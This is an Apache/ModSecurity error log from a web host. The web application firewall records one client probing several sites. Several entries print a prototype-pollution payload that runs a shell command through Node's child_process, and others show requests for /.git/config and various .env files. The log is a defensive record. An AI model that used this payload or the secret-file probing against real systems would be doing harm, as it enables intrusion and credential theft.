[Fri Jul 17 09:14:00.121881 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/"] [unique_id "almlAK14q1EBnanVMYGm3AAAAAk"]
[Fri Jul 17 09:14:00.124092 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/"] [unique_id "almlAK14q1EBnanVMYGm3AAAAAk"]
[Fri Jul 17 09:14:00.613079 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:40236] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:01.109463 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:01.421110 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almlAZBVIrrUwtEhdafT7QAAAAU"]
[Fri Jul 17 09:14:01.422355 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almlAZBVIrrUwtEhdafT7QAAAAU"]
[Fri Jul 17 09:14:01.422704 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlAZBVIrrUwtEhdafT7QAAAAU"]
[Fri Jul 17 09:14:01.443956 2026] [autoindex:error] [pid 1993619:tid 1993619] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:14:01.594894 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almlARHlOGcokz2QIwTWPAAAAAM"]
[Fri Jul 17 09:14:01.596294 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almlARHlOGcokz2QIwTWPAAAAAM"]
[Fri Jul 17 09:14:01.596654 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlARHlOGcokz2QIwTWPAAAAAM"]
[Fri Jul 17 09:14:01.926458 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlAK14q1EBnanVMYGm3AAAAAk"]
[Fri Jul 17 09:14:01.962739 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almlAQ7FYe46zHK_jL3S4QAAABk"]
[Fri Jul 17 09:14:01.963149 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almlAQ7FYe46zHK_jL3S4QAAABk"]
[Fri Jul 17 09:14:01.963533 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlAQ7FYe46zHK_jL3S4QAAABk"]
[Fri Jul 17 09:14:02.007252 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almlACRF0UOO1RzB5_8xJAAAAA4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1125&page_105=1628
[Fri Jul 17 09:14:02.007295 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almlACRF0UOO1RzB5_8xJAAAAA4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1125&page_105=1628
[Fri Jul 17 09:14:02.189954 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:02.210212 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:02.319416 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:53836] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:02.322448 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almlAoe39YUk0SgV8AU9GgAAABE"]
[Fri Jul 17 09:14:02.322813 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almlAoe39YUk0SgV8AU9GgAAABE"]
[Fri Jul 17 09:14:02.323187 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlAoe39YUk0SgV8AU9GgAAABE"]
[Fri Jul 17 09:14:02.491664 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almlAq14q1EBnanVMYGm3QAAAAk"]
[Fri Jul 17 09:14:02.491913 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almlAq14q1EBnanVMYGm3QAAAAk"]
[Fri Jul 17 09:14:02.492164 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlAq14q1EBnanVMYGm3QAAAAk"]
[Fri Jul 17 09:14:02.666699 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almlAiRF0UOO1RzB5_8xJQAAAA4"]
[Fri Jul 17 09:14:02.666987 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almlAiRF0UOO1RzB5_8xJQAAAA4"]
[Fri Jul 17 09:14:02.667358 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlAiRF0UOO1RzB5_8xJQAAAA4"]
[Fri Jul 17 09:14:02.836375 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almlApBVIrrUwtEhdafT7wAAAAU"]
[Fri Jul 17 09:14:02.836685 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almlApBVIrrUwtEhdafT7wAAAAU"]
[Fri Jul 17 09:14:02.836972 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlApBVIrrUwtEhdafT7wAAAAU"]
[Fri Jul 17 09:14:03.184480 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.development"] [unique_id "almlAxHlOGcokz2QIwTWPgAAAAM"]
[Fri Jul 17 09:14:03.184755 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.development"] [unique_id "almlAxHlOGcokz2QIwTWPgAAAAM"]
[Fri Jul 17 09:14:03.185032 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlAxHlOGcokz2QIwTWPgAAAAM"]
[Fri Jul 17 09:14:03.230922 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/"] [unique_id "almlA-jME1mgqYZ5O94pQgAAAAE"]
[Fri Jul 17 09:14:03.234420 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/"] [unique_id "almlA-jME1mgqYZ5O94pQgAAAAE"]
[Fri Jul 17 09:14:03.355405 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.test"] [unique_id "almlA614q1EBnanVMYGm3gAAAAk"]
[Fri Jul 17 09:14:03.355926 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.test"] [unique_id "almlA614q1EBnanVMYGm3gAAAAk"]
[Fri Jul 17 09:14:03.356425 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlA614q1EBnanVMYGm3gAAAAk"]
[Fri Jul 17 09:14:03.525914 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.remote"] [unique_id "almlA5BVIrrUwtEhdafT8AAAAAU"]
[Fri Jul 17 09:14:03.526167 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.remote"] [unique_id "almlA5BVIrrUwtEhdafT8AAAAAU"]
[Fri Jul 17 09:14:03.526407 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlA5BVIrrUwtEhdafT8AAAAAU"]
